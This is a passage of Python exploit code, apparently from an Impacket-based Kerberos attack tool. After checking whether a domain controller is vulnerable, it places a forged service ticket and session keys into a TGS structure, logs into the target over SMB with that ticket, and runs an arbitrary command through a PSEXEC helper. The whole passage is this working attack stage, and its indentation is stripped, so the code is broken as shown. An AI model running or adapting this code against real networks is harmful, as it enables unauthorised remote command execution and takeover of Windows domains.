logging.info('%s seems not vulnerable (%s)' % (dc, exception))
if exception is None:
TGS = {}
TGS['KDC_REP'] = tgsCIFS
TGS['cipher'] = cipher
TGS['oldSessionKey'] = oldSessionKeyCIFS
TGS['sessionKey'] = sessionKeyCIFS
from impacket.smbconnection import SMBConnection
if self.__targetIp is None:
s = SMBConnection('*SMBSERVER', self.__target)
else:
s = SMBConnection('*SMBSERVER', self.__targetIp)
s.kerberosLogin(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, TGS=TGS,
useCache=False)
if self.__command != 'None':
executer = PSEXEC(self.__command, username, domain, s, TGS, self.__copyFile)
executer.run(self.__target)
